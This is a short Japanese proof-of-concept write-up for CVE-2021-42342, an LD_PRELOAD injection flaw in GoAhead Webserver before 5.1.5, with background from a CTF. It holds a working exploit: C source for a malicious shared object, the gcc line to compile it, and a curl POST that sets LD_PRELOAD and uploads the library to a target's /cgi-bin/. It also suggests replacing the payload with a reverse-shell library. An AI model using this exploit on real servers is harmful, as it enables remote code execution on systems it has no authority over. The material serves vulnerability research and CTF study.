
Goahead Webserver バージョン 5.1.5 未満で発見された最近の RCE の小さな PoC。
Goahead Webserverの最近のバグがWilliam Bowlingによって発見され、それが悪用されたサーバー上でRCEを引き起こします。
この問題はバージョン5.1.5以前に存在し、Shodanによるとインターネット上の約280万台のサーバーが影響を受けます。
現在CVEが利用可能です [https://nvd.nist.gov/vuln/detail/CVE-2021-42342]
RCEは、ファイルアップロードフィルターが有効になっている場合、ユーザーがファイルをアップロードすると同時にユーザーフォーム変数を設定できるという事実によって引き起こされます。
これらの変数はOSの環境変数になります。通常のフォームアップロードの場合、環境変数にはCGI_(デフォルト)が接頭辞として付加されるため、これは通常問題になりません。しかし、ファイルアップロードフィルターが有効になっている場合、コードのエラーによりこの接頭辞が省略され、環境変数とファイルを介した即座のRCEが発生します。
以下はリモートサーバーに「Hello World」と表示するだけですが、本当に何でも可能です:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello World!\n", 14);
}
コンパイル方法:
gcc -fPIC -shared -o poc.so poc.c -nostartfiles
これでファイルをサーバーに送信する準備が整いました。これはcurlを使用して実行できます:
curl -X POST http://[TARGET]/cgi-bin/ -F "LD_PRELOAD=/proc/self/fd/0" -F file='@poc.so;encoder=base64'
[TARGET] を対象サーバーのドメイン/IPに変更してください。
おそらくサーバーからエラーが表示されますが、別の共有オブジェクト(例えば、シェルを起動してコールバックするもの)を試してみてください 👍
修正はgoahead 5.1.5でリリースされています:[https://github.com/embedthis/goahead/issues/305]
この問題は、Perfect Blue CTFチームのWillian Bowlingによって最初に発見されました。
pbCTF 2021 では、当時のgoaheadサーバーの既存バージョン(5.1.4)がチャレンジとして使用され、Kalmarunionen CTF Team とともに、コード内の同じ0day問題(まだ作者に開示されていない)に遭遇しました。